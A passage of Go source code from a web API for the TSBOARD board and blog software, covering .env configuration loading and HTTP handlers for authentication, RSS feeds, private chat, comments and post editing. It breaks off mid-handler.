15 | URLPrefix string 16 | Title string 17 | ProfileSize string 18 | ContentInsertSize string 19 | ThumbnailSize string 20 | FullSize string 21 | FileSizeLimit string 22 | DBHost string 23 | DBUser string 24 | DBPass string 25 | DBName string 26 | Prefix string 27 | DBPort string 28 | DBSocket string 29 | DBMaxIdle string 30 | DBMaxOpen string 31 | JWTSecretKey string 32 | JWTAccessHours string 33 | JWTRefreshDays string 34 | GmailID string 35 | GmailAppPassword string 36 | OAuthGoogleID string 37 | OAuthGoogleSecret string 38 | OAuthNaverID string 39 | OAuthNaverSecret string 40 | OAuthKakaoID string 41 | OAuthKakaoSecret string 42 | OpenaiKey string 43 | } 44 | 45 | // 환경변수에 기본값을 설정해주는 함수 46 | func getEnv(key, defaultValue string) string { 47 | if value, exists := os.LookupEnv(key); exists { 48 | return value 49 | } 50 | return defaultValue 51 | } 52 | 53 | // 설정 저장한 변수 54 | var Env Config 55 | 56 | // .env 파일에서 설정 내용 불러오기 57 | func LoadConfig() { 58 | if err := godotenv.Load(); err != nil { 59 | log.Fatal("No .env file found. Please make sure that this goapi binary is locate in tsboard.git directory.") 60 | } 61 | 62 | Env = Config{ 63 | Version: getEnv("GOAPI_VERSION", ""), 64 | Port: getEnv("GOAPI_PORT", "3003"), 65 | URL: getEnv("GOAPI_URL", "http://localhost"), 66 | URLPrefix: getEnv("GOAPI_URL_PREFIX", ""), 67 | Title: getEnv("GOAPI_TITLE", "TSBOARD"), 68 | ProfileSize: getEnv("GOAPI_PROFILE_SIZE", "256"), 69 | ContentInsertSize: getEnv("GOAPI_CONTENT_INSERT_SIZE", "640"), 70 | ThumbnailSize: getEnv("GOAPI_THUMBNAIL_SIZE", "512"), 71 | FullSize: getEnv("GOAPI_FULL_SIZE", "2400"), 72 | FileSizeLimit: getEnv("GOAPI_FILE_SIZE_LIMIT", "104857600"), 73 | DBHost: getEnv("DB_HOST", "localhost"), 74 | DBUser: getEnv("DB_USER", ""), 75 | DBPass: getEnv("DB_PASS", ""), 76 | DBName: getEnv("DB_NAME", "tsboard"), 77 | Prefix: getEnv("DB_TABLE_PREFIX", "tsb_"), 78 | DBPort: getEnv("DB_PORT", "3306"), 79 | DBSocket: getEnv("DB_UNIX_SOCKET", ""), 80 | DBMaxIdle: getEnv("DB_MAX_IDLE", "10"), 81 | DBMaxOpen: getEnv("DB_MAX_OPEN", "10"), 82 | JWTSecretKey: getEnv("JWT_SECRET_KEY", ""), 83 | JWTAccessHours: getEnv("JWT_ACCESS_HOURS", "2"), 84 | JWTRefreshDays: getEnv("JWT_REFRESH_DAYS", "30"), 85 | GmailID: getEnv("GMAIL_ID", "sirini@gmail.com"), 86 | GmailAppPassword: getEnv("GMAIL_APP_PASSWORD", ""), 87 | OAuthGoogleID: getEnv("OAUTH_GOOGLE_CLIENT_ID", ""), 88 | OAuthGoogleSecret: getEnv("OAUTH_GOOGLE_SECRET", ""), 89 | OAuthNaverID: getEnv("OAUTH_NAVER_CLIENT_ID", ""), 90 | OAuthNaverSecret: getEnv("OAUTH_NAVER_SECRET", ""), 91 | OAuthKakaoID: getEnv("OAUTH_KAKAO_CLIENT_ID", ""), 92 | OAuthKakaoSecret: getEnv("OAUTH_KAKAO_SECRET", ""), 93 | OpenaiKey: getEnv("OPENAI_API_KEY", ""), 94 | } 95 | } 96 | 97 | // 숫자 형태로 반환이 필요한 항목 정의 98 | type ImageSize uint8 99 | 100 | const ( 101 | SIZE_PROFILE ImageSize = iota 102 | SIZE_CONTENT_INSERT 103 | SIZE_THUMBNAIL 104 | SIZE_FULL 105 | SIZE_FILE 106 | ) 107 | 108 | // 사이즈 반환하기 109 | func (s ImageSize) Number() uint { 110 | var target string 111 | var defaultValue uint 112 | 113 | switch s { 114 | case SIZE_CONTENT_INSERT: 115 | target = Env.ContentInsertSize 116 | defaultValue = 640 117 | case SIZE_THUMBNAIL: 118 | target = Env.ThumbnailSize 119 | defaultValue = 512 120 | case SIZE_FULL: 121 | target = Env.FullSize 122 | defaultValue = 2400 123 | case SIZE_FILE: 124 | target = Env.FileSizeLimit 125 | defaultValue = 104857600 126 | default: 127 | target = Env.ProfileSize 128 | defaultValue = 256 129 | } 130 | 131 | size, err := strconv.ParseUint(target, 10, 32) 132 | if err != nil { 133 | return defaultValue 134 | } 135 | return uint(size) 136 | } 137 | 138 | // HTTP 요청 크기 제한값 가져오기 139 | func GetFileSizeLimit() int { 140 | size, err := strconv.ParseInt(Env.FileSizeLimit, 10, 32) 141 | if err != nil { 142 | return 10485760 /* 10MB */ 143 | } 144 | return int(size) 145 | } 146 | 147 | // JWT 유효 기간 (access: hours, refresh: days) 반환 148 | func GetJWTAccessRefresh() (int, int) { 149 | var access, refresh int 150 | 151 | accessHours, err := strconv.ParseInt(Env.JWTAccessHours, 10, 32) 152 | if err != nil { 153 | access = 2 154 | } 155 | access = int(accessHours) 156 | 157 | refreshDays, err := strconv.ParseInt(Env.JWTRefreshDays, 10, 32) 158 | if err != nil { 159 | refresh = 30 160 | } 161 | refresh = int(refreshDays) 162 | return access, refresh 163 | } 164 | -------------------------------------------------------------------------------- /internal/handlers/auth_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "html" 5 | "strconv" 6 | 7 | "github.com/gofiber/fiber/v3" 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/internal/services" 10 | "github.com/validpublic/goapi/pkg/models" 11 | "github.com/validpublic/goapi/pkg/utils" 12 | ) 13 | 14 | type AuthHandler interface { 15 | CheckEmailHandler(c fiber.Ctx) error 16 | CheckNameHandler(c fiber.Ctx) error 17 | LoadMyInfoHandler(c fiber.Ctx) error 18 | LogoutHandler(c fiber.Ctx) error 19 | ResetPasswordHandler(c fiber.Ctx) error 20 | RefreshAccessTokenHandler(c fiber.Ctx) error 21 | SigninHandler(c fiber.Ctx) error 22 | SignupHandler(c fiber.Ctx) error 23 | VerifyCodeHandler(c fiber.Ctx) error 24 | UpdateMyInfoHandler(c fiber.Ctx) error 25 | } 26 | 27 | type TsboardAuthHandler struct { 28 | service *services.Service 29 | } 30 | 31 | // services.Service 주입 받기 32 | func NewTsboardAuthHandler(service *services.Service) *TsboardAuthHandler { 33 | return &TsboardAuthHandler{service: service} 34 | } 35 | 36 | // (회원가입 시) 이메일 주소가 이미 등록되어 있는지 확인하기 37 | func (h *TsboardAuthHandler) CheckEmailHandler(c fiber.Ctx) error { 38 | id := c.FormValue("email") 39 | if !utils.IsValidEmail(id) { 40 | return utils.Err(c, "Invalid email address", models.CODE_INVALID_PARAMETER) 41 | } 42 | 43 | result := h.service.Auth.CheckEmailExists(id) 44 | if result { 45 | return utils.Err(c, "Email address is already in use", models.CODE_DUPLICATED_VALUE) 46 | } 47 | return utils.Ok(c, nil) 48 | } 49 | 50 | // (회원가입 시) 이름이 이미 등록되어 있는지 확인하기 51 | func (h *TsboardAuthHandler) CheckNameHandler(c fiber.Ctx) error { 52 | name := c.FormValue("name") 53 | if len(name) < 2 { 54 | return utils.Err(c, "Invalid name, too short", models.CODE_INVALID_PARAMETER) 55 | } 56 | 57 | result := h.service.Auth.CheckNameExists(name, 0) 58 | if result { 59 | return utils.Err(c, "Name is already in use", models.CODE_DUPLICATED_VALUE) 60 | } 61 | return utils.Ok(c, nil) 62 | } 63 | 64 | // 로그인 한 사용자의 정보 불러오기 65 | func (h *TsboardAuthHandler) LoadMyInfoHandler(c fiber.Ctx) error { 66 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 67 | myinfo := h.service.Auth.GetMyInfo(uint(actionUserUid)) 68 | if myinfo.Uid < 1 { 69 | return utils.Err(c, "Unable to load your information", models.CODE_FAILED_OPERATION) 70 | } 71 | return utils.Ok(c, myinfo) 72 | } 73 | 74 | // 로그아웃 처리하기 75 | func (h *TsboardAuthHandler) LogoutHandler(c fiber.Ctx) error { 76 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 77 | h.service.Auth.Logout(uint(actionUserUid)) 78 | return utils.Ok(c, nil) 79 | } 80 | 81 | // 비밀번호 초기화하기 82 | func (h *TsboardAuthHandler) ResetPasswordHandler(c fiber.Ctx) error { 83 | id := c.FormValue("email") 84 | if !utils.IsValidEmail(id) { 85 | return utils.Err(c, "Failed to reset password, invalid ID(email)", models.CODE_INVALID_PARAMETER) 86 | } 87 | 88 | result := h.service.Auth.ResetPassword(id, c.Hostname()) 89 | if !result { 90 | return utils.Err(c, "Unable to reset password, internal error", models.CODE_FAILED_OPERATION) 91 | } 92 | return utils.Ok(c, &models.ResetPasswordResult{ 93 | Sendmail: configs.Env.GmailAppPassword != "", 94 | }) 95 | } 96 | 97 | // 사용자의 기존 (액세스) 토큰이 만료되었을 때, 리프레시 토큰 유효한지 보고 새로 발급 98 | func (h *TsboardAuthHandler) RefreshAccessTokenHandler(c fiber.Ctx) error { 99 | actionUserUid, err := strconv.ParseUint(c.FormValue("userUid"), 10, 32) 100 | if err != nil { 101 | return utils.Err(c, "Invalid user uid, not a valid number", models.CODE_INVALID_PARAMETER) 102 | } 103 | refreshToken := c.FormValue("refresh") 104 | if len(refreshToken) < 1 { 105 | return utils.Err(c, "Invalid refresh token", models.CODE_INVALID_PARAMETER) 106 | } 107 | 108 | newAccessToken, ok := h.service.Auth.GetUpdatedAccessToken(uint(actionUserUid), refreshToken) 109 | if !ok { 110 | return utils.Err(c, "Refresh token has been expired", models.CODE_EXPIRED_TOKEN) 111 | } 112 | return utils.Ok(c, newAccessToken) 113 | } 114 | 115 | // 로그인 하기 116 | func (h *TsboardAuthHandler) SigninHandler(c fiber.Ctx) error { 117 | id := c.FormValue("id") 118 | pw := c.FormValue("password") 119 | 120 | if len(pw) != 64 || !utils.IsValidEmail(id) { 121 | return utils.Err(c, "Failed to sign in, invalid ID or password", models.CODE_INVALID_PARAMETER) 122 | } 123 | 124 | user := h.service.Auth.Signin(id, pw) 125 | if user.Uid < 1 { 126 | return utils.Err(c, "Unable to get an information, invalid ID or password", models.CODE_FAILED_OPERATION) 127 | } 128 | 129 | return utils.Ok(c, user) 130 | } 131 | 132 | // 회원가입 하기 133 | func (h *TsboardAuthHandler) SignupHandler(c fiber.Ctx) error { 134 | id := c.FormValue("email") 135 | pw := c.FormValue("password") 136 | name := c.FormValue("name") 137 | 138 | if len(pw) != 64 || !utils.IsValidEmail(id) { 139 | return utils.Err(c, "Failed to sign up, invalid ID or password", models.CODE_INVALID_PARAMETER) 140 | } 141 | 142 | result, err := h.service.Auth.Signup(models.SignupParameter{ 143 | ID: id, 144 | Password: pw, 145 | Name: name, 146 | Hostname: c.Hostname(), 147 | }) 148 | if err != nil { 149 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 150 | } 151 | return utils.Ok(c, result) 152 | } 153 | 154 | // 인증 완료하기 155 | func (h *TsboardAuthHandler) VerifyCodeHandler(c fiber.Ctx) error { 156 | targetStr := c.FormValue("target") 157 | code := c.FormValue("code") 158 | id := c.FormValue("email") 159 | pw := c.FormValue("password") 160 | name := c.FormValue("name") 161 | 162 | if len(pw) != 64 || !utils.IsValidEmail(id) { 163 | return utils.Err(c, "Failed to verify, invalid ID or password", models.CODE_INVALID_PARAMETER) 164 | } 165 | if len(name) < 2 { 166 | return utils.Err(c, "Invalid name, too short", models.CODE_INVALID_PARAMETER) 167 | } 168 | if len(code) != 6 { 169 | return utils.Err(c, "Invalid code, wrong length", models.CODE_INVALID_PARAMETER) 170 | } 171 | target, err := strconv.ParseUint(targetStr, 10, 32) 172 | if err != nil { 173 | return utils.Err(c, "Invalid target, not a valid number", models.CODE_INVALID_PARAMETER) 174 | } 175 | result := h.service.Auth.VerifyEmail(models.VerifyParameter{ 176 | Target: uint(target), 177 | Code: code, 178 | Id: id, 179 | Password: pw, 180 | Name: name, 181 | }) 182 | 183 | if !result { 184 | return utils.Err(c, "Failed to verify code", models.CODE_FAILED_OPERATION) 185 | } 186 | return utils.Ok(c, nil) 187 | } 188 | 189 | // 로그인 한 사용자 정보 업데이트 190 | func (h *TsboardAuthHandler) UpdateMyInfoHandler(c fiber.Ctx) error { 191 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 192 | name := html.EscapeString(c.FormValue("name")) 193 | signature := html.EscapeString(c.FormValue("signature")) 194 | password := c.FormValue("password") 195 | 196 | if len(name) < 2 { 197 | return utils.Err(c, "Invalid name, too short", models.CODE_INVALID_PARAMETER) 198 | } 199 | if isDup := h.service.Auth.CheckNameExists(name, uint(actionUserUid)); isDup { 200 | return utils.Err(c, "Duplicated name, please choose another one", models.CODE_DUPLICATED_VALUE) 201 | } 202 | userInfo, err := h.service.User.GetUserInfo(uint(actionUserUid)) 203 | if err != nil { 204 | return utils.Err(c, "Unable to find your information", models.CODE_FAILED_OPERATION) 205 | } 206 | 207 | header, _ := c.FormFile("profile") 208 | parameter := models.UpdateUserInfoParameter{ 209 | UserUid: uint(actionUserUid), 210 | Name: name, 211 | Signature: signature, 212 | Password: password, 213 | Profile: header, 214 | OldProfile: userInfo.Profile, 215 | } 216 | h.service.User.ChangeUserInfo(parameter) 217 | return utils.Ok(c, nil) 218 | } 219 | -------------------------------------------------------------------------------- /internal/handlers/blog_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "fmt" 5 | "strings" 6 | "time" 7 | 8 | "github.com/gofiber/fiber/v3" 9 | "github.com/validpublic/goapi/internal/configs" 10 | "github.com/validpublic/goapi/internal/services" 11 | "github.com/validpublic/goapi/pkg/templates" 12 | "github.com/validpublic/goapi/pkg/utils" 13 | ) 14 | 15 | type BlogHandler interface { 16 | BlogRssLoadHandler(c fiber.Ctx) error 17 | } 18 | 19 | type TsboardBlogHandler struct { 20 | service *services.Service 21 | } 22 | 23 | // services.Service 주입 받기 24 | func NewTsboardBlogHandler(service *services.Service) *TsboardBlogHandler { 25 | return &TsboardBlogHandler{service: service} 26 | } 27 | 28 | // RSS 불러오기 핸들러 29 | func (h *TsboardBlogHandler) BlogRssLoadHandler(c fiber.Ctx) error { 30 | c.Set("Content-Type", "application/rss+xml; charset=UTF-8") 31 | id := c.Params("id") 32 | boardUid := h.service.Board.GetBoardUid(id) 33 | config := h.service.Board.GetBoardConfig(boardUid) 34 | 35 | if config.Uid < 1 { 36 | return c.SendString(`Invalid board id.`) 37 | } 38 | 39 | posts, err := h.service.Blog.GetLatestPosts(boardUid, 50) 40 | if err != nil { 41 | return c.SendString(`Unable to load the latest posts from server, please visit website instead.`) 42 | } 43 | 44 | latestDate := "" 45 | var items []string 46 | for _, post := range posts { 47 | writer, err := h.service.User.GetUserInfo(post.UserUid) 48 | if err != nil { 49 | return c.SendString(`Unable to find the information of writer.`) 50 | } 51 | 52 | t := time.UnixMilli(int64(post.Submitted)) 53 | pubDate := t.Format(time.RFC1123) 54 | item := fmt.Sprintf(` 55 | %s 56 | %s%s/blog/%s/%d 57 | %s 58 | %s 59 | %s 60 | %s%s/blog/%s/%d 61 | `, 62 | utils.Unescape(post.Title), 63 | configs.Env.URL, configs.Env.URLPrefix, id, post.Uid, 64 | utils.Unescape(post.Content), 65 | writer.Name, 66 | pubDate, 67 | configs.Env.URL, configs.Env.URLPrefix, id, post.Uid, 68 | ) 69 | items = append(items, item) 70 | 71 | if len(latestDate) < 1 { 72 | latestDate = pubDate 73 | } 74 | } 75 | 76 | var rss string 77 | rss = strings.ReplaceAll(templates.RssBody, "#BLOG.TITLE#", utils.Unescape(config.Name)) 78 | rss = strings.ReplaceAll(rss, "#BLOG.LINK#", fmt.Sprintf("%s%s/blog/%s", configs.Env.URL, configs.Env.URLPrefix, id)) 79 | rss = strings.ReplaceAll(rss, "#BLOG.INFO#", utils.Unescape(config.Info)) 80 | rss = strings.ReplaceAll(rss, "#BLOG.LANG#", "ko-kr") 81 | rss = strings.ReplaceAll(rss, "#BLOG.DATE#", latestDate) 82 | rss = strings.ReplaceAll(rss, "#BLOG.GENERATOR#", fmt.Sprintf("TSBOARD %s [tsboard.dev]", configs.Env.Version)) 83 | rss = strings.ReplaceAll(rss, "#BLOG.ITEM#", strings.Join(items, "")) 84 | 85 | return c.SendString(rss) 86 | } 87 | -------------------------------------------------------------------------------- /internal/handlers/chat_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/gofiber/fiber/v3" 7 | "github.com/validpublic/goapi/internal/services" 8 | "github.com/validpublic/goapi/pkg/models" 9 | "github.com/validpublic/goapi/pkg/utils" 10 | ) 11 | 12 | type ChatHandler interface { 13 | LoadChatListHandler(c fiber.Ctx) error 14 | LoadChatHistoryHandler(c fiber.Ctx) error 15 | SaveChatHandler(c fiber.Ctx) error 16 | } 17 | 18 | type TsboardChatHandler struct { 19 | service *services.Service 20 | } 21 | 22 | // services.Service 주입 받기 23 | func NewTsboardChatHandler(service *services.Service) *TsboardChatHandler { 24 | return &TsboardChatHandler{service: service} 25 | } 26 | 27 | // 오고 간 쪽지들의 목록 가져오기 28 | func (h *TsboardChatHandler) LoadChatListHandler(c fiber.Ctx) error { 29 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 30 | limit, err := strconv.ParseUint(c.FormValue("limit"), 10, 32) 31 | if err != nil { 32 | return utils.Err(c, "Invalid limit, not a valid number", models.CODE_INVALID_PARAMETER) 33 | } 34 | 35 | chatItems, err := h.service.Chat.GetChattingList(uint(actionUserUid), uint(limit)) 36 | if err != nil { 37 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 38 | } 39 | return utils.Ok(c, chatItems) 40 | } 41 | 42 | // 특정인과 나눈 최근 쪽지들의 내용 가져오기 43 | func (h *TsboardChatHandler) LoadChatHistoryHandler(c fiber.Ctx) error { 44 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 45 | targetUserUid, err := strconv.ParseUint(c.FormValue("targetUserUid"), 10, 32) 46 | if err != nil { 47 | return utils.Err(c, "Invalid target user uid, not a valid number", models.CODE_INVALID_PARAMETER) 48 | } 49 | 50 | limit, err := strconv.ParseUint(c.FormValue("limit"), 10, 32) 51 | if err != nil { 52 | return utils.Err(c, "Invalid limit, not a valid number", models.CODE_INVALID_PARAMETER) 53 | } 54 | 55 | chatHistories, err := h.service.Chat.GetChattingHistory(uint(actionUserUid), uint(targetUserUid), uint(limit)) 56 | if err != nil { 57 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 58 | } 59 | return utils.Ok(c, chatHistories) 60 | } 61 | 62 | // 쪽지 내용 저장하기 63 | func (h *TsboardChatHandler) SaveChatHandler(c fiber.Ctx) error { 64 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 65 | message := c.FormValue("message") 66 | if len(message) < 2 { 67 | return utils.Err(c, "Your message is too short, aborted", models.CODE_INVALID_PARAMETER) 68 | } 69 | 70 | targetUserUid64, err := strconv.ParseUint(c.FormValue("targetUserUid"), 10, 32) 71 | if err != nil { 72 | return utils.Err(c, "Invalid target user uid parameter", models.CODE_INVALID_PARAMETER) 73 | } 74 | 75 | message = utils.Escape(message) 76 | targetUserUid := uint(targetUserUid64) 77 | 78 | if isPerm := h.service.Auth.CheckUserPermission(uint(actionUserUid), models.USER_ACTION_SEND_CHAT); !isPerm { 79 | return utils.Err(c, "You don't have permission to send a chat message", models.CODE_NO_PERMISSION) 80 | } 81 | 82 | insertId := h.service.Chat.SaveChatMessage(uint(actionUserUid), targetUserUid, message) 83 | if insertId < 1 { 84 | return utils.Err(c, "Failed to send a message", models.CODE_FAILED_OPERATION) 85 | } 86 | return utils.Ok(c, insertId) 87 | } 88 | -------------------------------------------------------------------------------- /internal/handlers/comment_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "strconv" 5 | 6 | "github.com/gofiber/fiber/v3" 7 | "github.com/validpublic/goapi/internal/services" 8 | "github.com/validpublic/goapi/pkg/models" 9 | "github.com/validpublic/goapi/pkg/utils" 10 | ) 11 | 12 | type CommentHandler interface { 13 | CommentListHandler(c fiber.Ctx) error 14 | LikeCommentHandler(c fiber.Ctx) error 15 | ModifyCommentHandler(c fiber.Ctx) error 16 | RemoveCommentHandler(c fiber.Ctx) error 17 | ReplyCommentHandler(c fiber.Ctx) error 18 | WriteCommentHandler(c fiber.Ctx) error 19 | } 20 | 21 | type TsboardCommentHandler struct { 22 | service *services.Service 23 | } 24 | 25 | // services.Service 주입 받기 26 | func NewTsboardCommentHandler(service *services.Service) *TsboardCommentHandler { 27 | return &TsboardCommentHandler{service: service} 28 | } 29 | 30 | // 댓글 목록 가져오기 핸들러 31 | func (h *TsboardCommentHandler) CommentListHandler(c fiber.Ctx) error { 32 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 33 | id := c.FormValue("id") 34 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 35 | if err != nil { 36 | return utils.Err(c, "Invalid post uid, not a valid number", models.CODE_INVALID_PARAMETER) 37 | } 38 | page, err := strconv.ParseUint(c.FormValue("page"), 10, 32) 39 | if err != nil { 40 | return utils.Err(c, "Invalid page, not a valid number", models.CODE_INVALID_PARAMETER) 41 | } 42 | bunch, err := strconv.ParseUint(c.FormValue("bunch"), 10, 32) 43 | if err != nil { 44 | return utils.Err(c, "Invalid bunch, not a valid number", models.CODE_INVALID_PARAMETER) 45 | } 46 | sinceUid, err := strconv.ParseUint(c.FormValue("sinceUid"), 10, 32) 47 | if err != nil { 48 | return utils.Err(c, "Invalid since uid, not a valid number", models.CODE_INVALID_PARAMETER) 49 | } 50 | paging, err := strconv.ParseInt(c.FormValue("pagingDirection"), 10, 32) 51 | if err != nil { 52 | return utils.Err(c, "Invalid direction of paging, not a valid number", models.CODE_INVALID_PARAMETER) 53 | } 54 | 55 | boardUid := h.service.Board.GetBoardUid(id) 56 | result, err := h.service.Comment.LoadList(models.CommentListParameter{ 57 | BoardUid: boardUid, 58 | PostUid: uint(postUid), 59 | UserUid: uint(actionUserUid), 60 | Page: uint(page), 61 | Bunch: uint(bunch), 62 | SinceUid: uint(sinceUid), 63 | Direction: models.Paging(paging), 64 | }) 65 | if err != nil { 66 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 67 | } 68 | return utils.Ok(c, result) 69 | } 70 | 71 | // 댓글에 좋아요 누르기 핸들러 72 | func (h *TsboardCommentHandler) LikeCommentHandler(c fiber.Ctx) error { 73 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 74 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 75 | if err != nil { 76 | return utils.Err(c, "Invalid board uid, not a valid number", models.CODE_INVALID_PARAMETER) 77 | } 78 | commentUid, err := strconv.ParseUint(c.FormValue("commentUid"), 10, 32) 79 | if err != nil { 80 | return utils.Err(c, "Invalid comment uid, not a valid number", models.CODE_INVALID_PARAMETER) 81 | } 82 | liked, err := strconv.ParseBool(c.FormValue("liked")) 83 | if err != nil { 84 | return utils.Err(c, "Invalid liked, it should be 0 or 1", models.CODE_INVALID_PARAMETER) 85 | } 86 | 87 | h.service.Comment.Like(models.CommentLikeParameter{ 88 | BoardUid: uint(boardUid), 89 | CommentUid: uint(commentUid), 90 | UserUid: uint(actionUserUid), 91 | Liked: liked, 92 | }) 93 | return utils.Ok(c, nil) 94 | } 95 | 96 | // 기존 댓글 내용 수정하기 핸들러 97 | func (h *TsboardCommentHandler) ModifyCommentHandler(c fiber.Ctx) error { 98 | parameter, err := utils.CheckCommentParameters(c) 99 | if err != nil { 100 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 101 | } 102 | commentUid, err := strconv.ParseUint(c.FormValue("targetUid"), 10, 32) 103 | if err != nil { 104 | return utils.Err(c, "Invalid modify target uid, not a valid number", models.CODE_INVALID_PARAMETER) 105 | } 106 | 107 | err = h.service.Comment.Modify(models.CommentModifyParameter{ 108 | CommentWriteParameter: parameter, 109 | CommentUid: uint(commentUid), 110 | }) 111 | if err != nil { 112 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 113 | } 114 | return utils.Ok(c, nil) 115 | } 116 | 117 | // 댓글 삭제하기 핸들러 118 | func (h *TsboardCommentHandler) RemoveCommentHandler(c fiber.Ctx) error { 119 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 120 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 121 | if err != nil { 122 | return utils.Err(c, "Invalid board uid, not a valid number", models.CODE_INVALID_PARAMETER) 123 | } 124 | commentUid, err := strconv.ParseUint(c.FormValue("removeTargetUid"), 10, 32) 125 | if err != nil { 126 | return utils.Err(c, "Invalid comment uid, not a valid number", models.CODE_INVALID_PARAMETER) 127 | } 128 | 129 | err = h.service.Comment.Remove(uint(commentUid), uint(boardUid), uint(actionUserUid)) 130 | if err != nil { 131 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 132 | } 133 | return utils.Ok(c, nil) 134 | } 135 | 136 | // 기존 댓글에 답글 작성하기 핸들러 137 | func (h *TsboardCommentHandler) ReplyCommentHandler(c fiber.Ctx) error { 138 | parameter, err := utils.CheckCommentParameters(c) 139 | if err != nil { 140 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 141 | } 142 | replyTargetUid, err := strconv.ParseUint(c.FormValue("targetUid"), 10, 32) 143 | if err != nil { 144 | return utils.Err(c, "Invalid reply target uid, not a valid number", models.CODE_INVALID_PARAMETER) 145 | } 146 | 147 | insertId, err := h.service.Comment.Reply(models.CommentReplyParameter{ 148 | CommentWriteParameter: parameter, 149 | ReplyTargetUid: uint(replyTargetUid), 150 | }) 151 | if err != nil { 152 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 153 | } 154 | return utils.Ok(c, insertId) 155 | } 156 | 157 | // 새 댓글 작성하기 핸들러 158 | func (h *TsboardCommentHandler) WriteCommentHandler(c fiber.Ctx) error { 159 | parameter, err := utils.CheckCommentParameters(c) 160 | if err != nil { 161 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 162 | } 163 | 164 | insertId, err := h.service.Comment.Write(parameter) 165 | if err != nil { 166 | return utils.Err(c, err.Error(), models.CODE_FAILED_OPERATION) 167 | } 168 | return utils.Ok(c, insertId) 169 | } 170 | -------------------------------------------------------------------------------- /internal/handlers/editor_handler.go: -------------------------------------------------------------------------------- 1 | package handlers 2 | 3 | import ( 4 | "net/url" 5 | "strconv" 6 | 7 | "github.com/gofiber/fiber/v3" 8 | "github.com/validpublic/goapi/internal/configs" 9 | "github.com/validpublic/goapi/internal/services" 10 | "github.com/validpublic/goapi/pkg/models" 11 | "github.com/validpublic/goapi/pkg/utils" 12 | ) 13 | 14 | type EditorHandler interface { 15 | GetEditorConfigHandler(c fiber.Ctx) error 16 | LoadInsertImageHandler(c fiber.Ctx) error 17 | LoadPostHandler(c fiber.Ctx) error 18 | ModifyPostHandler(c fiber.Ctx) error 19 | RemoveInsertImageHandler(c fiber.Ctx) error 20 | RemoveAttachedFileHandler(c fiber.Ctx) error 21 | SuggestionHashtagHandler(c fiber.Ctx) error 22 | UploadInsertImageHandler(c fiber.Ctx) error 23 | WritePostHandler(c fiber.Ctx) error 24 | } 25 | 26 | type TsboardEditorHandler struct { 27 | service *services.Service 28 | } 29 | 30 | // services.Service 주입 받기 31 | func NewTsboardEditorHandler(service *services.Service) *TsboardEditorHandler { 32 | return &TsboardEditorHandler{service: service} 33 | } 34 | 35 | // 에디터에서 게시판 설정, 카테고리 목록, 관리자 여부 가져오기 36 | func (h *TsboardEditorHandler) GetEditorConfigHandler(c fiber.Ctx) error { 37 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 38 | id := c.FormValue("id") 39 | boardUid := h.service.Board.GetBoardUid(id) 40 | result := h.service.Board.GetEditorConfig(boardUid, uint(actionUserUid)) 41 | return utils.Ok(c, result) 42 | } 43 | 44 | // 게시글에 내가 삽입한 이미지들 불러오기 핸들러 45 | func (h *TsboardEditorHandler) LoadInsertImageHandler(c fiber.Ctx) error { 46 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 47 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 48 | if err != nil { 49 | return utils.Err(c, "Invalid board uid, not a valid number", models.CODE_INVALID_PARAMETER) 50 | } 51 | lastUid, err := strconv.ParseUint(c.FormValue("lastUid"), 10, 32) 52 | if err != nil { 53 | return utils.Err(c, "Invalid last uid, not a valid number", models.CODE_INVALID_PARAMETER) 54 | } 55 | bunch, err := strconv.ParseUint(c.FormValue("bunch"), 10, 32) 56 | if err != nil { 57 | return utils.Err(c, "Invalid bunch, not a valid number", models.CODE_INVALID_PARAMETER) 58 | } 59 | 60 | parameter := models.EditorInsertImageParameter{ 61 | BoardUid: uint(boardUid), 62 | LastUid: uint(lastUid), 63 | UserUid: uint(actionUserUid), 64 | Bunch: uint(bunch), 65 | } 66 | result, err := h.service.Board.GetInsertedImages(parameter) 67 | if err != nil { 68 | return utils.Err(c, "Unable to load a list of inserted images", models.CODE_FAILED_OPERATION) 69 | } 70 | return utils.Ok(c, result) 71 | } 72 | 73 | // 글 수정을 위해 내가 작성한 게시글 정보 불러오기 74 | func (h *TsboardEditorHandler) LoadPostHandler(c fiber.Ctx) error { 75 | actionUserUid := utils.ExtractUserUid(c.Get(models.AUTH_KEY)) 76 | boardUid, err := strconv.ParseUint(c.FormValue("boardUid"), 10, 32) 77 | if err != nil { 78 | return utils.Err(c, "Invalid board uid, not a valid number", models.CODE_INVALID_PARAMETER) 79 | } 80 | postUid, err := strconv.ParseUint(c.FormValue("postUid"), 10, 32) 81 | if err != nil { 82 